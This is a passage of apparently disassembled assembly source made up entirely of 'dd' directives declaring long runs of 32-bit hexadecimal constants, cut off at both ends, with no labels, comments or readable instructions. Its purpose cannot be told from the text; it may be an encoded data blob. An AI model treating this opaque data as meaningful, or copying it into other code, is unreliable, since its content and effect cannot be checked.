0B14243Eh, 0D94629EBh, 0E89BBE27h, 757CF28Dh dd 0B2315B32h, 0B3ACD3AAh, 4ABFA910h, 0F5E89516h, 895DE9B8h dd 0E686192Ch, 0A2B0346h, 12A9BA64h, 0C52B05BCh, 4653FBADh dd 22E4690Ch, 0FED51BF6h, 1FD908CDh, 0F4F7645Ch, 7868051Ch dd 0F1C0F171h, 1255E06h, 0AC6455ECh, 2658DF37h, 5D0CED3Ah dd 485A0FB4h, 0C139CB21h, 0C8310C82h, 25AC668h, 1F5DA6FBh dd 2F79893Dh, 66705736h, 44223025h, 0C189B580h, 7E1C30DDh dd 0C8E203Ch, 8BD6E925h, 172075ECh, 0A7CA09F2h, 0D713A1B0h dd 0F3C2C8E9h, 0BD88405Fh, 0F97582D6h, 7B598840h, 0F58D622Fh dd 0AFA62B06h, 0A73FEA96h, 0A0769ADCh, 454CBD2Ah, 0E92A0B77h dd 49B1DEA7h, 0AAA33B56h, 0D6A3BB92h, 5EB8AD3h, 65DB685Eh dd 20D99B49h, 7624B883h, 485500B3h, 0BA40540h, 15EA029Eh dd 0CAC6A517h, 4C01C6B0h, 4E051CF2h, 0C15B5C0Ah, 64D7BD71h dd 665BD80Dh, 9941D088h, 0AE0AF93h, 61B19860h, 5AD63142h dd 2F1D9896h, 97966CBh, 72684460h, 517DA86Dh, 88CB13B1h dd 280E8CCCh, 9858E72Dh, 7860B4BCh, 30CE3080h, 0D1B7531Ch dd 8B16E925h, 291DD69h, 32B76A5Fh, 0DD3BBC04h, 4031C279h dd 54096471h, 0BCE5575Fh, 0DC3B3802h, 3C25617Bh, 0E0E90D85h dd 0C9F8D0C5h, 20C64D69h, 1C03FFEFh, 25AFB9E9h, 4A893457h dd 5BE314B8h, 865E202h, 6F482155h, 0E49DBAACh, 31E4BFD6h dd 9FE67420h, 3BB001F2h, 616AB22Fh, 9380DAFAh, 35EF59CFh dd 0BC2D368h, 0E1FD295Dh, 0F00D190h, 0BB5BA489h, 7601B35Ch dd 0E6C121BDh, 0F6E070h, 85E1A442h, 0D16A882Dh, 19A1124Fh dd 278E0706h, 28FFF487h, 7F08F597h, 0C28307E1h, 0AB8F8201h dd 0EE1D6E64h, 894F5B65h, 7EEAA6F1h, 0C6B1003Ch, 0FC5C180h dd 3296848Dh, 7C3B5725h, 7A858FF9h, 0B4501902h, 0A2FA8E68h dd 0C32CCFFEh, 0D523CAA4h, 957FB4A2h, 62FB0102h, 46E8FD1Fh dd 0BF025752h, 4E683415h, 0D70589BAh, 0B1075785h, 0BC8B7A55h dd 0E76D277Fh, 9E7D33C9h, 0B2CBD406h, 84DBA2CFh, 0C4841A20h dd 92F8F8CAh, 9BDDC08h, 1B74F328h, 7CC22742h, 21D161E4h dd 0CE5C6030h, 0DB36A90Ah, 0E8029E0Fh, 80051360h, 8D5810D7h dd 9523B8EFh, 0E9058FD4h, 89FD7964h, 0D9CE2C02h, 0F6CB2918h dd 0BF69A8F9h, 6774AFA9h, 9802AFA0h, 0A34A9445h, 0A90D80F7h dd 0FA09577Fh, 2F0B9521h dd 6E5283D4h, 600F317Eh, 3C54530Ah, 78F9A4D6h, 0C1525E8Bh dd 4BAFE55Ch, 0A3E05A12h, 43687926h, 505B7860h, 26231AEh dd 17D8234Dh, 5D08B9B3h, 8158163Eh, 24BC0420h, 975BE5CCh dd 0F92F5729h, 0FAE9098Ah, 16A3DAACh, 1C5511Dh, 39A8F7AFh dd 28F30BAh, 0D5D290ABh, 0FA8FFC57h, 620B4148h, 0D794702Dh dd 59B0B396h, 0C41220Bh, 23425745h, 91680801h, 162D260Fh dd 0EAEDE7E2h, 83ADE9F0h, 968808B6h, 6B42C87h, 0E494F8Fh dd 8BE58A09h, 0EACF07DFh, 58577DAFh, 9833F62h, 6525DA83h dd 4E894F0Ch, 601D654Ch, 5FEE7BC5h, 0A10B7FFDh, 585EF121h dd 0B9511497h, 0ED16491Ch, 12D3ADD4h, 7EB86E61h, 2E7C1A0h dd 0E5406FFEh, 5E80201h, 57515842h, 34E306F7h, 0CA304839h dd 0E5750F6Bh, 0E0819EDDh, 800EB502h, 0F76662EDh, 2CDE79E4h dd 0E955C5C2h, 39A5580Ah, 0F31DEE88h, 847645Ah, 80078292h dd 0E40FD0F5h, 3DC36659h, 5FC6D062h, 0E9FE1528h, 0DE4E8498h dd 600C2796h, 0B847B55Bh, 9BA3093h, 1C5F2110h, 16E3F9BDh dd 408A5220h, 891B2757h, 0EE0DBA41h, 560BD60Ah, 201947Ah dd 0AA3FFDDDh, 6038505Dh, 0D02867B4h, 67E4D904h, 0BE10C99Eh dd 0CB6AED41h, 0A2E983F3h, 0A5BF843Ah, 31D030C9h, 305AEFF8h dd 7584A8A2h, 498C97DEh, 2CB07878h, 0DF53D716h, 0EA109A1Ch dd 72F35F27h, 76197826h, 1E20293Ah, 5DE22F68h, 66074DE6h dd 812D3E39h, 0EA7A1AD0h, 0DAF72E50h, 1C9404E4h, 0D272C2A0h dd 5F064175h, 0B157F83Bh, 0D628D901h, 0B36DB8B5h, 0B2205A83h dd 0A35B3182h, 4A4D6F7h, 793503C4h, 0B72E7D02h, 0DEADCB51h dd 1ACAA638h, 4DFA93BCh, 150508D7h, 0A129E009h, 26C3C03Eh dd 0B80106ABh, 0C32D65F0h, 0BC3FD831h, 1D6882B2h, 0C4B99119h dd 0B20A007h, 5E00374Fh, 6D7C8FBFh, 5D8EE9B2h, 6802327Dh dd 3EB31162h, 0E94081FCh, 0BF60D452h, 97EEB1D8h, 4492BF5Fh dd 4F89E109h, 5B7B902Ah, 1E488E7Fh, 3805FECh, 786575A7h dd 9F6DEA1Ah, 3C21E916h, 0D388C0B9h, 0A295D189h, 0DC75ADCCh dd 3EDC23A8h, 3C5F1710h, 1ACBA65Ah, 0F369511Bh, 37B9B92Dh dd 827FDE20h, 3A4049C1h, 6C66141h, 0F547B27Ah, 0A14A0160h dd 0BDECB25Dh, 0D55AE979h, 0E91C6C9Eh, 0D42F3E50h, 6EDD511Eh dd 1EBDFB00h, 0E3010B31h, 0F702393Ch, 892A2FBFh, 8FF0B48Bh dd 2DAF0C5Bh, 9CD96F72h, 0B4E1942Bh, 7D0540DAh, 63E91DCDh dd 5D2495BCh, 0CEDDE2C2h, 0DBF65A00h, 0B8E37EC0h, 2C641C56h dd 0B0D81489h, 9C86E909h, 0C7B02AC4h, 5995EC99h, 0CF6883C4h dd 9A5F1375h, 4EEEF39Bh, 8E253DA8h, 9A90AE58h, 0FC169B9Dh dd 16058281h, 0F0D7AE34h, 7AF29759h, 2CA9285Ah, 53156883h dd 58636910h, 4E5D240h, 89410545h, 33F9C2F3h, 0DFA73B77h dd 8CAEA154h, 1B2851A3h, 3BFCA4F1h, 49191012h, 0E0B3C31Fh dd 7D0D99B5h, 1AF6ADA5h, 182BA78h, 4A74F56Ch, 662DB468h dd 0B7E310C2h, 30B8BE02h, 0D6602115h, 0EC5E5120h, 2107F156h dd 55D524A2h, 0C3F990EEh, 0D2273FB7h, 7D538175h, 0F3FD2F08h dd 8E081CA0h, 0CDE92F47h, 0D480F32Eh, 5130410Fh, 99BD5502h dd 852BAD34h, 64FE5DECh, 990E1470h, 90D7CC25h, 0A685D3DDh dd 95A59FAh, 0C996E9F0h, 224A369Ah, 0BA03CCFFh, 7D6F7A0Bh dd 20895716h, 13D6FB81h, 0C981F8F1h, 6E602F03h, 1D1F755h dd 0D5BE5604h, 3BDCF9E2h, 0CB099905h, 4E8AD1E4h, 6A863D74h dd 6789CFA2h, 0E6C171A1h, 5068B03h, 7741094Eh, 5597E8DAh dd 0B0055C1Bh, 4D456C12h, 0B15F82FCh, 49D4426Dh, 61C7A840h dd 15FD3713h, 8AA60EC1h, 0BAAA2504h, 2FBDD8D4h, 652784h dd 5105D0F7h, 0F8CEE479h, 0C235F184h, 81CB2330h, 9C1B7087h dd 3AC97B55h, 0BE65B321h, 45AF7055h, 0E22047D9h, 0D16AC4C2h dd 6B00C965h, 2D29D7A0h, 0F9D45856h, 9B0BE720h, 84BDBA82h dd 9E86EC6h, 0DF3121F4h, 4A5A0272h, 1F67752Ch, 7588C8A7h dd 81A0E2E9h, 75CAD95Ch, 57E87EA1h, 0A717FF5Fh, 5A259DA6h dd 0E91310E6h, 74AFBD69h, 0E72FC018h, 734A54D4h, 314D98EEh dd 6BFE7495h, 0D94B4AFCh, 0DD54525Eh, 259A5688h, 0D9E293DFh dd 16B3F6A3h, 0C9C96BA0h, 1C47806h, 0E9A5C785h, 8C7A08C3h dd 99A84697h, 66FED4F6h, 0AD1262B4h, 2B843C01h, 2D39071Eh dd 42E9A84h, 23C0E2D1h, 0EFDB5F62h, 2D17003Ah, 40F37250h dd 55002B8h, 0F29F5A07h, 0BFAB2D76h, 535F627Ah, 0B24B28AFh dd 0D50AD198h, 0F38D1EE9h, 79AD3CB0h, 294A2C1Ch, 0AD4B945h dd 8E0127E9h, 82875F3h, 0A50EC54Ch, 31AA2CEFh, 0E96EB09Fh dd 784923Eh, 885168B3h, 59CE22D9h, 19D1EC5Dh, 69AC680h dd 0ACEED801h, 7CF52CCCh, 0AD435A8Dh, 0BEA1D681h, 877AC16Bh dd 0F592682Ch, 43639CBBh, 0C30DCA67h, 0F6F8E872h, 527DE91Eh dd 6E5E255Bh, 538C6CF3h, 95D67571h, 0AE96648Eh, 0B83A7E6Dh dd 0B0E9B149h, 524EE2Ch, 41B10E7Bh, 0C5C12DAFh, 0DAF8292Ah dd 1174078Fh, 17FC512Fh, 0DAF74241h, 9FD5E17Eh, 0F689570Ah dd 625FD49Eh, 0F0711B28h, 1378D32Dh, 0A01BC798h, 69E30F6Ah dd 45D5F714h, 5BF20097h, 0EB31DA99h, 0CA0E24E9h, 991A47EBh dd 0B16FC47Fh, 0DAC08B4Ch, 63934A77h, 1778A072h, 9FE7BD3Dh dd 404916ACh, 0CE70A7E9h, 38E0C25Bh, 0CA017B77h, 606BF4CBh dd 7ADAF636h, 0F2800BFEh, 3A0E30D9h, 5957D869h, 2D848F0h dd 0E3288AB4h, 8663F9D5h, 64FC380h, 82E5305Eh, 3E3AFED6h dd 6A725031h, 5392935h, 67A63DD1h, 49C86980h, 0E2EEFF8Ah dd 90505CFFh, 0EA173EBAh, 892D5D7Bh, 0EA84049Eh, 14D1212h dd 0C505E8A6h, 5D11E842h, 0DDE43AEDh, 4C392768h, 4DF4DAECh dd 0CE90B53h, 4FF15FE9h, 0E05B5EDFh, 2B973784h, 40207076h dd 6B722DD4h, 823352Dh, 0E90B07E0h, 0F28A3E5h, 95E1DC8Eh dd 0B195B82Bh, 0E5830D63h, 0D1282DC1h, 0CAB7BEAFh, 575F7B51h dd 0DD5A7B09h, 97A4956Dh, 2B5A442h, 6A75F781h, 0B7CCCCFFh dd 3780827Ch, 2DA3F88Ch, 1F35179Eh, 2D1B14Fh, 2E455F07h dd 16566885h, 904137EFh, 44BC5F57h, 0F435B02h, 52D4A48Dh dd 7CCC08E8h, 37166263h, 0B2545EF0h, 954E2AD7h, 386D00A9h dd 68591E9Fh, 0CDAC22E2h, 0EAE48720h, 0DB6F6042h, 29126C7h dd 114BD0B8h, 0DE786FF1h, 5CA368F0h, 0C5C9599Dh, 4A02CBC7h dd 0ED5096B3h, 0EC0D16F6h, 93F5B412h, 70096279h, 0D2993BE9h dd 16F3046Fh, 0C20C3A1Bh, 11F7A8E9h, 0FC88568Dh, 5B173FA4h dd 0AEB1D16h, 8CF1E28Ah, 0B80AA71Eh, 7D240302h, 0F8C5094Ah dd 16C18BFh, 122863DEh, 7644E02Fh, 0F5BA9512h, 304C1E73h dd 0A9A57EE8h, 9D41347Eh, 356E39C0h, 0AED7C5E6h, 0BBE97C90h dd 5042C08Fh, 3C646856h, 2F61D794h, 0E9F1E658h, 0FDC2BFCDh dd 0C64F32D1h, 0B5375AAEh, 0CC9F3FF2h, 97EC9550h, 12061020h dd 0BDA015Ah, 0D804D3B5h, 0DFE1A89Fh, 7A41FBD2h, 56595451h dd 0FA45342Ah, 0D2CE94E0h, 7FA2B1C2h, 0BEC746B8h, 0A514E2C8h dd 9CB1848h, 2B3D731Eh, 40F503DAh, 2E20434Fh, 617566DEh dd 0B834E902h, 75AFCAC4h, 0E964EE02h, 41B04285h, 314638BBh dd 60CE30A8h, 22E47203h, 50975A52h, 15CC0CBEh, 0E9F7C675h dd 0FFDCF72Ah, 0BD3AAC20h, 67088C50h, 0A5C8901h, 12982DE7h dd 7AB0469h, 0E9C7139Ah, 0F75CEFF0h, 0E9170B24h, 99B03A52h dd 29809A75h, 9E07BBD9h dd 6A684601h, 804B7F13h, 7E0EAFD1h, 0C121B601h, 887B30F7h dd 805BF800h, 9E9F9C5h, 0D8C59722h, 6C73BC0Ch, 90B70953h dd 0E6D6F988h, 1393B058h, 0A13023B2h, 0A8F32A7Eh, 59CA28B0h dd 2D93EAE0h, 2EC9BFB8h, 7A1237D0h, 269CF646h, 0DC2E2099h dd 13890F1Bh, 6F9FD9BBh, 63970B88h, 89C6010Bh, 93EEFC26h dd 0EB5EC458h, 0D1906EA2h, 0ED17DC49h, 5B3608D7h, 10B25205h dd 9F23A188h, 14E2F660h, 6C70EAF0h, 7456A6C4h, 8283550Bh dd 0CCA50920h, 5CB702E9h, 93090EAh, 0F016E9C5h, 0F30D045Ah dd 0C1220A4Dh, 0A5C11C1Eh, 62E454DCh, 770B7211h, 5C3BD500h dd 81005E1Ah, 25DD3CFh, 50D7F778h, 12B5B347h, 16C4964h dd 622C6E32h, 0E2A8221h, 0D5789B0Fh, 6054CEE0h, 824B063Eh dd 515C5AF6h, 18E8546h, 232B9801h, 0EC6ACF25h, 0B60973B2h dd 6097851Fh, 9786E940h, 0DB5D9109h, 47F94A54h, 0F72D9889h dd 0C59CB96h, 23A60435h, 0A0AD6E6Ch, 2571AD1Ch, 90824DD5h dd 154996BAh, 5F38D787h, 0A96722E9h, 3F622649h, 714FC169h dd 0C9049C72h, 0E062675Fh, 95FE52C7h, 60325B55h, 0DF6576Eh dd 4BBBE35Fh, 5B91B4C7h, 0AAF4F89Ch, 7EEFA3C9h, 59CA0E5h dd 7C2D42C7h, 0A989C210h, 94505BFFh, 2B01E950h, 0B813744Bh dd 2C3B30DEh, 3F82925h, 0E203E409h, 8175FA50h, 5B205808h dd 0CB6B60A6h, 0A4342DCBh, 0C9267863h, 0E9F48926h, 412A1DD5h dd 0D30D8424h, 0B7B16E2Fh, 896C0AF9h, 13A55E2Eh, 0C0E2FC2Bh dd 63913262h, 0CFC50481h, 0BB55FF10h, 304A17E8h, 81EDD156h dd 2215CD03h, 4451307h, 0A55F30D2h, 6AC2FF0Ch, 79D689E9h dd 90680487h, 6CBFB67h, 95FA0113h, 0A6B1EEEFh, 34838B2Fh dd 0F482E480h, 4943D79Ah, 0F4882A0Eh, 78E36B53h, 965EFA97h dd 60B800C1h, 5479141h, 0F7FDFCE9h, 133CF495h, 0F174284h dd 70E90780h, 7E2E3040h, 44085B44h, 9A4A2E4Bh, 0A40EC3A6h dd 8331FFA5h, 983E0E9h, 147F6816h, 0D255979Ah, 80643001h dd 5AD60918h, 0A7EEC128h, 0B356E62Ah, 59F621A0h, 0DD20101Eh dd 28E2D696h, 2981688Fh, 255F0F86h, 5474929Ah, 1B6E7C0Bh dd 45B1F19Fh, 97C9D36Bh, 892CDCC1h, 455EF049h, 0A028884Fh dd 8F26A324h, 9EE89D13h, 28AE8A5h, 49E918B9h, 1BD2D589h dd 0BC10C8h, 12AC0559h, 24B8370Ch, 461F32D3h, 99F42738h dd 57F304Dh, 0D5781FDEh, 0BBC1AA12h, 0B150AB2Ah, 24BAEEDh dd 8F0F499Dh, 387BF7C8h, 0F26FC4C2h, 6E00B05Ah, 0B21276FEh dd 496883B4h, 0F3AE847Ch, 9EEDC9ECh, 0DCD99D45h, 0F501E961h dd 0C4E64674h, 0AA060A8Ah, 1B40FC2Dh, 5C883F85h, 2710063Ch dd 0B3E90D49h, 0E7010ADDh, 6F9CCB14h, 0EFE892C0h, 5AD63CB0h dd 5E5AA374h, 6E47C2F5h, 64A320F2h, 0C8C24BBDh, 0C76752B8h dd 0D3CCA60Bh, 5A3203C3h, 8F661FE8h, 69788018h, 0B0D4826h dd 41C43B51h, 8038AB54h, 447D5B63h, 0B90BF0E9h, 3522AD50h dd 0BD2E6h, 0B750C0EEh, 18169F71h, 140F024Bh, 0B3C82BEh dd 0DDF95F4Bh, 8131E525h, 6CB07193h, 1ED0E2E9h, 1D4E8490h dd 78BFB816h, 8E60D538h, 0AC21EE59h, 0F87E7635h, 160404B7h dd 84F10156h, 65081420h, 39D4E486h, 211E41ECh, 6FD3C208h dd 12B97CB0h, 1AE34511h, 7ED4D2E2h, 8061C02Dh, 0D0FF82CFh dd 3B190B6Ah, 554459h, 5D3E2510h, 0A00D4AD2h, 0D17C08B8h dd 4405195h, 0EBF6850Fh, 0EFF2D840h, 565B5EAh, 55E9D631h dd 1C4AE3F4h, 98A70A68h, 91012166h, 17274A58h, 887CC21Bh dd 86A5B842h, 0EF528355h, 2CC1E902h, 0F86C631Fh, 844FD13h dd 18CEBDABh, 872EA216h, 0C94F98F7h, 0B2055608h, 0E224BF71h dd 59280FBBh, 49D11292h, 7C541449h, 0C353F472h, 6003B265h dd 7447A6B9h, 1C98054Ch, 0E0640469h, 0E918D990h, 0C3E76F15h dd 0CFF312CEh, 0DA0EAF12h, 0BD552041h, 16BC9E32h, 61E901FDh dd 8CCB295Eh, 6A68039Ah, 67E52F2Dh, 58438977h, 145F4B97h dd 712FA7D9h, 0FCA69859h, 2EF3C916h, 946A5E16h, 31F6E0A0h dd 27EA4C1Fh, 0F97C88h, 356937BDh, 0FD308779h, 0F5810647h dd 482F7FB0h, 7C009008h, 0E98E35B9h, 7AE1074Ah, 0A75E0EDBh dd 0D7CD404Ah, 0F732A595h, 52DED2C1h, 5B279830h, 6ED59047h dd 438E77Eh, 5AB949E9h, 210B0F6h, 747F89D4h, 78C383FDh dd 0B4C72FA8h, 0D00FE404h, 0C8F97FE5h, 93EF649Bh, 0CFFA886Ah dd 18A4FF1h, 58CCC4EFh, 0FB0B133Fh, 0EB43B006h, 6C6008A2h dd 71BC90E1h, 36CC68E1h, 0EED07E7Ch, 5A2F055Bh, 4CD4FB05h dd 0A714A5FBh, 4DE3D639h, 0F878C4A2h, 58273F48h, 534A3239h dd 0F0D1F7CEh, 1DC17863h, 0CBE5B00Ch, 7154B829h, 0F3D9C787h dd 0B2AEBC05h, 0B2E916F5h, 59AB44BAh, 7F65D919h, 243B52F1h dd 3F8DBFC0h, 0A49E9565h, 5016FAh, 4DDDE115h, 0F9770EBh dd 43E40135h, 0C8B470Ch, 55533C7h, 9840F8D8h, 9F6E5CBEh dd 5EB93504h, 0EF4D820Bh, 18241877h, 0DBA3C5B6h, 7E7EB32Bh dd 90834427h, 0BF5FB90Fh, 0CF841FE2h, 2572E96Ch, 574AC22Eh dd 0D4C9D2D1h, 1F10A633h, 0F2B513E9h, 873131FCh, 4055C7Eh dd 5590560h, 0F5C74DB3h, 40002DF8h, 47830FD8h, 2E13C44Dh dd 76BF64BBh, 1D2DC098h, 3EBDA240h, 57AEA44h, 8FAD58A9h dd 82B17A1Ah, 0A864875h, 3188B2B0h, 0A30BE23Ah, 0A9D97BCDh dd 0AA6C9CFDh, 4FB2CA4Fh, 0A3D9ECE1h, 9641040h, 575E01A1h dd 0B70AB4BFh, 0D003707Fh, 20AE0382h, 0B9632D27h, 346A1D5Ch dd 2D84DB08h, 276494F6h, 0AE005EBEh, 0B5F60174h, 0AC0E7B40h dd 3A0BB40Ch, 0B9897DAFh, 532FE0D4h, 5B540906h, 0E570DBF6h dd 12283C37h, 824D5ACh, 0BB6002A3h, 126643BFh, 81EBC163h dd 4B3227Ah, 0EADE85BFh, 0CAD7CAB5h, 6F5676C8h, 0BAD99BC5h dd 5830F2h, 0F8E2CE17h, 0D34A25A1h, 5248287Bh, 0D827E1ADh dd 0BEE6E9A7h, 30B9F661h, 0E83D30F5h, 0BD5E0D98h, 4F3737A4h dd 0D236B952h, 0A5123516h, 0BB80140h, 1C18D124h, 0D3C78957h dd 9030E259h, 1AD649D3h, 77547068h, 68412753h, 317B51EEh dd 6C64FA93h, 3F09C04Ah, 69BD0FBEh, 0C00B0Dh, 0B1809202h dd 0C8881C81h, 66C7C759h, 0FFB60C58h, 0C6F2EC5Bh, 0A7A02C78h dd 0B668C740h, 1422B34Dh, 65B3258Dh, 568C7171h, 0B66D2512h dd 0ED5A125Eh, 2AF9D39Fh, 2A8DF10h, 7BF9ED81h, 0CDD3C036h dd 0D71102BDh, 0E125E96Fh, 2677177h, 48654161h, 0A5C100CAh dd 0C343812Fh, 0FD97309h, 462CE5EDh, 0FA5D5F13h, 2D0040CEh dd 128D7BD8h, 29623868h, 0E4C015B5h, 67A45D5Bh, 0B05BA25Ah dd 0B48F1AE9h, 97B45069h, 4B2BBA92h, 0B500D337h, 0D1435C54h dd 28DEBFE8h, 9ADAEB40h, 311224D0h, 74722FF5h, 9EBF620Bh dd 326C8F05h, 9D94B567h, 75FB5B97h, 96FD5FABh, 3DE91B8Eh dd 6BAA8FC1h, 98F08818h, 46D36589h, 8853C428h, 0F0A8A503h dd 0C309C281h, 8352B907h, 4B9EF09Ah, 8944BB2Eh, 5C036398h dd 15223CD2h, 0CA011E8Eh, 44A91757h, 0EFC28373h, 0CB4B349Ah dd 0FCE5F75h, 0DC4A3322h, 4116DDA2h, 11C0472h, 1037C4EBh dd 0A94EAE08h, 4FE913A4h, 0B92CA49h, 954E78FBh, 18829CF7h dd 226EEFE9h, 36EA05ADh, 2915B40Bh, 0A12B46D8h, 202A991Fh dd 5AA008BDh, 647EDC27h, 7CFA0912h, 7B5D1BEEh, 800C2034h dd 0A1696792h, 0B06F2D41h, 0C65C316Ah, 2BE9E0C7h, 2D21B295h dd 8E546E97h, 5A8E0C9h dd 657A3F1Eh, 56D02980h, 271960BEh, 24CC6CC5h, 0B8B534EBh dd 146181C3h, 0C3168FEh, 0BE8C7BD2h, 2516C51Ch, 534238D7h dd 174E5AE9h, 790BEE50h, 1764742Ch, 3739EB8Fh, 1C6F3288h dd 998A5B1Dh, 5CA61841h, 9A593E10h, 37C16817h, 6DDC72AFh dd 33B926A0h, 17605030h, 164FFDAEh, 0D1CDA15Dh, 64FD26Fh dd 2C48DE62h, 884F02B0h, 808B40FBh, 1A68C3C9h, 0B136F99Dh dd 508BAEC6h, 2521F283h, 0F74AE409h, 0D9695DD2h, 1CBEE080h dd 85608E90h, 715AE52Dh, 0B07A4BA2h, 37274E65h, 0E665F82Dh dd 0B938C0C2h, 581D4B12h, 65BDD5F8h, 9ED9ADF1h, 24E4D63h dd 0B8C7C61Dh, 5F785783h, 0B69AFD20h, 2D90AC02h, 73EC2FFDh dd 80D18EBh, 8A2AE9CBh, 992F85ACh, 5B02F024h, 0F739F889h dd 641C92E6h, 0EB3B684Ah, 777CA0CAh, 0C39BC0B0h, 47146D50h dd 3049DDF6h, 3408181Dh, 9FB5AA2Bh, 6869D3F4h, 3EFA25h dd 15B3CF3h, 753E9DEh, 9AA92BE1h, 0EC2C5684h, 939EC6FCh dd 28C300BBh, 0F266808h, 0FD6BBD82h, 3AEB0019h, 2FE98642h dd 1BDFDBB2h, 50CAD2DAh, 548EC56h, 8A763635h, 8442F260h dd 2CFE585Dh, 5A02574Ah, 0E983546Ch, 0E2B64001h, 852A4822h dd 57C4BA00h, 0CA813337h, 0A4454E0Ch, 12970C7Bh, 0FE39B856h dd 38F07741h, 2E25585Bh, 6EFCE961h, 71658CBh, 95E95009h dd 0EDF04666h, 4C2D74BDh, 809FC322h, 0D7870F1Bh, 81CAB672h dd 71682ABDh, 18A46A31h, 5AB19551h, 52C5402Ch, 5374F8B6h dd 0B77FB20Eh, 5AD700BEh, 0B74EEF80h, 0F682925Ch, 40DC88D3h dd 0C701EC9Eh, 61C0CA06h, 3EC4FE08h, 0CF1F9F8Bh, 1B775C80h dd 0BEAC30F4h, 89BB1A65h, 560E203Eh, 5B22AD59h, 0A7E9CEE5h dd 9D5E2D38h, 18443AB6h, 0B807995Fh, 20A8F0FAh, 5500192Dh dd 0E0C14007h, 1EB33502h, 0F9B0BDA9h, 9459A484h, 78D9803Fh dd 144AB67Dh, 6E92002h, 8794F488h, 0A225F8EAh, 3E563961h dd 0FA05C880h, 512CEB29h, 91A0CE59h, 2574E0DCh, 2F78387Ah dd 0B1303D90h, 11C5BB18h, 891F09DAh, 880E801h, 49592DD0h dd 0E92F12ECh, 53970FA6h, 394C70E9h, 0D6842E7Ch, 4244400h dd 550B5FDBh, 974E9C57h, 0C5EB907Dh, 0A4A0995Fh, 0A8ED096Dh dd 6C848568h, 800502B9h, 4C815C3h, 1809A1Dh, 0A5E3814Bh dd 0F13A787Fh, 2A576563h, 60BF2DAAh, 6BE1780Bh, 0CBDE1FE8h dd 0C2710773h, 0B058542h, 0F207FF58h, 5AD5309Ch, 0CC965289h dd 0C509F864h, 4EA1FE95h, 0FC78A1F6h, 567047E9h, 7A4B5695h dd 1BCD143h, 31D5840Fh, 0E3608189h, 48C65Dh, 79CD6CBAh dd 9ACAB6BDh, 73A8E15Fh, 0A1B3E84Bh, 657062C2h, 4D0CC752h dd 0E973A027h, 8DC1881Ah, 337CD9F3h, 0D224803Ah, 244AF4C6h dd 1064A6E5h, 3878192Dh, 259CA206h, 0A7C07E9Ah, 0D5495EAh dd 0F20134EEh, 5E080264h, 0B1D9A2F5h, 7571F5D2h, 75A7CF1Fh dd 0C89C9790h, 44940082h, 31C9C280h, 0E870E2C0h, 0F5B307AFh dd 0A617C16Ch, 5F8BF768h, 814217ABh, 80756177h, 6951D92Eh dd 0A9CE255Fh, 394DD92h, 0BFC92020h, 0E9414A73h, 0FD3E61D2h dd 0FE4A7812h, 0F4009F94h, 0AE2429Dh, 387D9A29h, 0AF5B4DB8h dd 4BBEF836h, 1633CE7Ch, 49EAF1F6h, 4FB0573Bh, 9ABC9568h dd 3AFC5417h, 0D776BFB4h, 0BA0A0AEh, 10888099h, 15F4FEEh dd 8F59BEB3h, 0EF3E167Dh, 7B4D0028h, 55377931h, 0ED0FE910h dd 4C63A148h, 102FE68Ah, 9C0BFF29h, 90508FF4h, 36688084h dd 93C22E5Dh, 82F785ABh, 0F7EE357h, 3F685560h, 34FA8339h dd 0E077E64Ah, 2715EB79h, 99580C09h, 8C0F4309h, 4BB0A768h dd 0F7BC8A71h, 44A6443Dh, 0A7228D1Dh, 80C5FC67h, 7E074FE2h dd 14C2E3D1h, 7E592EE9h, 2D98BBA4h, 9FF653AAh, 0A036C1Fh dd 0D2BBEE52h, 0CBE129AAh, 73802C4Fh, 8D5ED60Ch, 9D0C16h dd 2D63596Fh, 264B5FFFh, 1996F6BFh, 2FF13DA4h, 4DA2AEECh dd 0D53F8957h, 69A8674Eh, 3BE187BDh, 0AEF586ACh, 4122A8A4h dd 9B2C3A5Dh, 0CCBAAF0h, 2CC027EFh, 17A906EDh, 0B0CB0F1Dh dd 4C6177Ch, 0ACE5E9C8h, 7CEA4E08h, 6082A8DEh, 2E679DE3h dd 173B9Ah, 0E875349h, 2F9FC4E9h, 489F61FDh, 80705DC3h dd 939B62D7h, 0EB467947h, 0B721CB82h, 6F59CB88h, 0BDBB2CC4h dd 6D751A35h, 0B683752Ch, 0E008A26h, 6F83B850h, 4CF7590Ch dd 7D0094D8h, 0D106136Ah, 70E581E1h, 1C0976DCh, 0F528D5E9h dd 4BD17AB3h, 8CC968D8h, 5A88198Ah, 0C110B964h, 5150D6F6h dd 0AC7BF1F9h, 121BD0DCh, 88F882E9h, 0C60DA65Fh, 0B2F9C151h dd 0D5F732DFh, 5FC94FE2h, 273BB8BDh, 0A578D421h, 0FF97A29Ch dd 0ACC205A0h, 0CBB82E29h, 35F9DA7Dh, 0B5F07A5Ch, 40324B38h dd 0C42D0739h, 8149108Eh, 39E90B6Ch, 0A33B4963h, 0AE4BA638h dd 0EB1723CEh, 0DCDEB55Bh, 78BE26B2h, 0CCEB2992h, 0A7B7A6DEh dd 54D9CEB6h, 24F0E992h, 2AA0F09Dh, 82EE6A53h, 4DC55FF8h dd 3FC944AFh, 0A65E1EE9h, 0A212104Ah, 5AE5A85Eh, 41C74BE0h dd 9840401Bh, 247CF15Bh, 0CD418973h, 0E9032A83h, 0C3092C9Fh dd 5D84C0C6h, 271247C5h, 14E435C7h, 3AAC39FAh, 32DB2BAEh dd 55637055h, 8901845Bh, 0A52D5FFDh, 0FE0BE242h, 4B072067h dd 6BEECD5Dh, 7540FBF5h, 3D103C4Dh, 0C07BE91Fh, 7F48054Ah dd 3501742Bh, 93EB780Ch, 7E70C101h, 9B78D35Ch, 8CFF4A61h dd 68125008h, 56F345CCh, 0E061A007h, 5FF8807Fh, 0AAE4C7BEh dd 0C629DB01h, 1EE8358h, 25260A30h, 29875B67h, 4A010F72h dd 77654CE9h, 58F0436Ah, 0B2BD5B65h, 2A3DEE98h, 0C9051E90h dd 64B913F5h, 0F6A07FEh, 0A65C6B8Bh, 5A9C542Fh, 711A32FDh dd 92DFE9EEh, 9D6FDA6Ch, 0F95B0D66h, 38EA2C12h, 0AF419EA8h dd 2534AC6Fh, 0CA98E265h, 55D95D78h, 2F163C90h, 25A8CF63h dd 0BACDDD5Fh, 307FAE27h, 1F57680Ch, 6A45F7A5h, 0FA03930h dd 0CD897C9Dh, 0D940C0A9h, 1CB51C8Bh, 258F3120h, 472EE47h dd 9639E2AAh, 1201B50Eh, 4F4EA7FAh, 61E92398h, 0D0F70B6Eh dd 89DE6093h, 20618D25h, 0C8310B39h, 0D98CC214h, 0F07D74B5h dd 0EA7A245Fh, 12556B4Eh, 0C4015D9Ch, 0E2D06858h, 27F1957h dd 0EB7E6DAEh, 